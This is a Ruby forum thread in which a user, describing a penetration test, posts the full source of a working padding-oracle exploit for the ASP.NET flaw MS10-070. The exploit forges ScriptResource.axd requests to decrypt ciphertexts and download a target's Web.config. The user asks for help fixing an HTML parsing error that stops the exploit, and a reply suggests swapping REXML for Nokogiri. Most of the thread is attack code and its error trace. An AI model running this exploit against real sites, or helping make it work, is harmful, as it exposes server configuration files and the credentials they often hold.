Errors on REXML reading an HTML.

L

Lorenzo Dolores

Hello, I'm doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.

However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:

////////////////// ERROR IN THE EXECUTION //////////////////


discovering decrypt command...
trying decrypt_mask: 0x0001/0xffff, http_code: 200, body_length:
6790#<REXML::
ParseException: Missing end tag for 'div' (got "td")
Line: 156
Position: 5938
Last 80 unconsumed characters:C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/baseparser.rb:341:in `pull'
C:/Ruby192/lib/ruby/1.9.1/rexml/parsers/treeparser.rb:22:in `parse'
C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:230:in `build'
C:/Ruby192/lib/ruby/1.9.1/rexml/document.rb:43:in `initialize'
aspx_ad_chotext_attack.rb:220:in `new'
aspx_ad_chotext_attack.rb:220:in `parse_html_body'
aspx_ad_chotext_attack.rb:259:in `block in discover_decrypt_command'
aspx_ad_chotext_attack.rb:248:in `upto'
aspx_ad_chotext_attack.rb:248:in `discover_decrypt_command'
aspx_ad_chotext_attack.rb:432:in `run'
aspx_ad_chotext_attack.rb:465:in `<main>'
...
Missing end tag for 'div' (got "td")
Line: 156
Position: 5938
Last 80 unconsumed characters:


...And here's the code.

////////////////// HERE'S THE CODE ITSELF//////////////////


require 'net/http'
require 'uri'
require 'rexml/document'


$debugging = false



module XArray
def hex_inspect
"[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
end
end

class Array
include XArray
end




require 'base64'

class XBase64
def self.encode s
s = Base64.encode64 s
s = s.gsub '+', '-'
s = s.gsub '/', '_'
s = s.gsub "\n", ''
s = s.gsub "\r", ''

s = XBase64.encode_base64_padding s
end

def self.encode_base64_padding s
padding_length = 0
padding_length += 1 while s[-1 - padding_length, 1] == "="
s[0..(-1 - padding_length)] + padding_length.to_s
end


def self.decode s
s = s.gsub '-', '+'
s = s.gsub '_', '/'

s = self.decode_base64_padding s

Base64.decode64 s
end

def self.decode_base64_padding s
padding_length = s[-1,1].to_i
s[0...-1] + ("=" * padding_length)
end
end


module XString
def xor other
raise RuntimeError, "length mismatch" if self.length != other.length
(0...length).map { |i| self ^ other }.map { |x| x.chr }.join
end
alias ^ :xor

def hex_inspect
printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
(0x20..0x7e).entries

"[#{length}]" + "\"#{unpack("C*").map { |x|
printables.include?(x) ? x.chr : "\\x%02x" % x
}.join}\""
end

def to_blocks blocksize
(0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
end
end

class String
include XString
end



class ASPXAutoDecryptorChosenCiphertextAttack
attr_reader :uri
attr_reader :filename
attr_reader :min_filelength
attr_reader :filere
attr_reader :http
attr_reader :d_value
attr_reader :blocksize
attr_reader :padding_length
attr_reader :decrypt_command_mask
attr_reader :axdpath
attr_reader :axdname
attr_reader :base_mask

def initialize parameters
@uri = URI.parse parameters[:uri]
@filename = parameters[:filename]
@min_filelength = parameters[:min_filelength]
@filere = parameters[:filere]
@http = http_initialize
@d_value = nil
@base_mask = rand 0xffff
@decrypt_command_mask = nil
@blocksize = nil
@padding_length = nil
@axdpath = nil
@axdname = nil

puts "target: #{@uri}"
puts "base_mask: 0x%04x" % @base_mask
end

def http_initialize
http = Net::HTTP.new @uri.host, @uri.port
http.start
http
end


def parse_script_tag xml, re
d = nil

doc = REXML::Document.new xml
doc.elements.each 'script' do |e|
src_attribute = e.attributes['src']
md = re.match src_attribute
d = md[1]
break
end

raise RuntimeError, "could not parse script_tag" unless d

d
end
private :parse_script_tag

def get_ciphertext_sample
[ [ "ScriptResource.axd",
/\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ],
].each do |name, re|

headers = { 'User-Agent' => \
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' }

response = http.get uri.path, headers
body = response.body

script_tags = body.lines.select { |x| x.index name }

next if script_tags.empty?

puts "script tags using #{name} [#{script_tags.length}]:"
puts script_tags.map { |x| "\t#{x}" }

d = parse_script_tag script_tags[0], re

puts "using script: #{name}"
puts "using d_value: #{d}"

@axdpath = uri.path[0, uri.path.rindex('/')]
@axdname = name
@d_value = ("\x00" * 16) + (XBase64.decode d)
break
end

raise RuntimeError, "could not find any axd sample" unless d_value

d_value
end

def parse_html_body h, body
parsed = String.new

doc = REXML::Document.new body
doc.elements.each h do |e|
parsed = e.text
break
end

parsed
end

def send_request d
request = Net::HTTP::Get.new
"/#{axdpath}/#{axdname}?d=#{XBase64.encode d}"
request['Connection'] = 'Keep-Alive'
@http.request request
end

def decrypt d
ciphertext = d.clone
ciphertext[0, 2] = [ @decrypt_command_mask ].pack "S"

response = send_request ciphertext

parse_html_body 'html/head/title', response.body
end

def discover_decrypt_command
puts "discovering decrypt command..."

ciphertext = d_value.clone
1.upto 0xffff do |mask|
ciphertext[0, 2] = [ base_mask + mask ].pack "S"

response = send_request ciphertext

print "\rtrying decrypt_mask: 0x%04x/0xffff, http_code: %4d,
body_length: %5d" % \
[ mask,
response.code, response.body.length ]

next unless response.code == "200"

begin
puts parse_html_body 'html/head/title', response.body
@decrypt_command_mask = base_mask + mask
rescue Exception => e
puts e
puts "exception !"
next
end

break
end

puts

raise RuntimeError, "no more combinations to try !" unless
decrypt_command_mask
puts "decrypted !!!"

decrypt_command_mask
end



def discover_blocksize_and_padding_length
puts "discovering blocksize and padding length..."

[ 16, 8 ].each do |b|
0.upto b - 1 do |i|
ciphertext = @d_value.clone
ciphertext[-(b * 2) + i] ^= 0x01
begin
decrypt ciphertext
rescue Exception => e
@blocksize = b
@padding_length = blocksize - i
break
end
end
break if blocksize
end

raise RuntimeError, "no more combinations to try !" unless blocksize

puts "discovered padding length: #{padding_length}"
puts "discovered blocksize: #{blocksize}"

[ blocksize, padding_length]
end

def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks
puts "cipher_blocks.count: #{cipher_blocks.count}"

required_block_count = 1 + new_plaintext_blocks.count + 1
puts "required_block_count: #{required_block_count}"

if required_block_count < cipher_blocks.count then
delta = cipher_blocks.count - required_block_count
puts "removing #{delta} extra blocks..."
cipher_blocks = [ cipher_blocks[0] ] +
cipher_blocks[-required_block_count+1..-1]
elsif required_block_count > cipher_blocks.count then
delta = required_block_count - cipher_blocks.count
puts "adding #{delta} extra_blocks..."
cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ]
+ cipher_blocks[1..-1]
end

puts "cipher_blocks.count: #{cipher_blocks.count}"

cipher_blocks
end
private :reallocate_cipher_blocks

def generate_new_plaintext_blocks
tail_padding = "\x01"
head_padding_length = blocksize - ( (@filename.length +
tail_padding.length) % blocksize)
head_padding_length = 0 if head_padding_length == blocksize
head_padding = "\x00" * head_padding_length
new_plaintext = head_padding + @filename + tail_padding

new_plaintext.to_blocks blocksize
end
private :generate_new_plaintext_blocks

def encrypt
puts "encrypting \"#{@filename.hex_inspect}..."

new_plaintext_blocks = generate_new_plaintext_blocks

cipher_blocks = @d_value.to_blocks blocksize
cipher_blocks = reallocate_cipher_blocks cipher_blocks,
new_plaintext_blocks

(1..new_plaintext_blocks.count).each do |i|
puts "round #{i} of #{new_plaintext_blocks.count}"

new_plaintext_block = new_plaintext_blocks[-i]

old_cleartext = decrypt cipher_blocks.join
old_plaintext = old_cleartext + (padding_length.chr *
padding_length)
puts "old_plaintext: #{old_plaintext.hex_inspect}"

old_plaintext_blocks = old_plaintext[blocksize * (-i -
1)..-1].to_blocks blocksize

old_plaintext_block = old_plaintext_blocks[-i]

normalization_table = old_plaintext_block.bytes.map { |x| x >=
0x80 or x == 0x0a }
if normalization_table.include? true
j = blocksize - (normalization_table.rindex true)
cipher_blocks[-1 - i][-j] ^= old_plaintext_block[-j]
puts "normalization needed for \"\\x%x\", j: %d !" % [
old_plaintext_block[-j], -j]
redo
end

cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_block

@padding_length = 1 if i == 1
end

cleartext = decrypt cipher_blocks.join
puts "new cleartext: #{cleartext.hex_inspect}"

# raise RuntimeError, "too many \"|\" characters!" if
cleartext.count("|") > 3

@d_value = cipher_blocks.join
end

def discover_escape_sequence
puts "discovering escape sequence..."

escape_sequence_mask = nil

offset = base_mask % (blocksize - 4)

ciphertext = d_value.clone
0x1ffff.times do |mask|
ciphertext[offset, 4] = [ base_mask + mask ].pack "L"

response = send_request ciphertext
print "\rtrying escape_mask: 0x%04x/0x1ffff, http_code: %4d,
body_length: %5d" % \
[ mask,
response.code, response.body.length ]

next unless response.code == "200"

next if min_filelength and (response.body.length < min_filelength)

next if filere and (not filere =~ response.body)

escape_sequence_mask = base_mask + mask

puts
puts "found!"

unless $debugging
puts "press any key to show the contents of the file"
$stdin.gets
end

puts response.body
break
end
puts

raise RuntimeError, "no more combinations to try !" unless
escape_sequence_mask

escape_sequence_mask
end

def pause
return if $debugging
puts
puts "press any key to start the attack"
$stdin.gets
end

def run
get_ciphertext_sample
pause
discover_decrypt_command
discover_blocksize_and_padding_length
encrypt
discover_escape_sequence
end
end



puts [ "-------------------------------------------",
"aspx_ad_chotext_attack.rb",
"(c) 2010 AmpliaSECURITY",
"http://www.ampliasecurity.com",
"Agustin Azubel - (e-mail address removed)",
"-------------------------------------------",
"\n" ].join "\n"



if ARGV.length != 1 then
$stderr.puts "usage: ruby #{$PROGRAM_NAME}
http://192.168.1.1/Default.aspx"
exit
end

begin
parameters = {
:uri => ARGV.first,
:filename => "|||~/Web.config",
# :min_filelength => 3000,
:filere => /configuration/
}

x = ASPXAutoDecryptorChosenCiphertextAttack.new parameters
x.run
rescue Exception => e
$stderr.puts "Exploit failed: #{e}"

raise if $debugging
end



////////////////////////////////////

Please somebody could help me? I'm not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn't trigger this error.

Any help would be really appreciated.
Thanks in advance and happy xmass!
 
R

Robert Klemme

Hello, I'm doing a penetration testing with an exploit developed in Ruby
that used the library rexml. The code is supposed to trigger the
vulnerability identified as ms10-070.

However rexml fails because the html of the website to evaluate is not
properly made. This is the error I recibe:
Please somebody could help me? I'm not very skilled on Ruby to be
honest, but I tought about replacing REXML for any other library that
wouldn't trigger this error.

If you want to parse HTML you must replace REXML anyway because it is
an XML parser and not a HTML parser - unless of course someone can
guarantee to you that all pages you want to parse are valid XHTML. I
suggest nokogiri.

Cheers

robert
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Staff online

Members online

Forum statistics

Threads
473,755
Messages
2,569,534
Members
45,007
Latest member
obedient dusk

Latest Threads

Top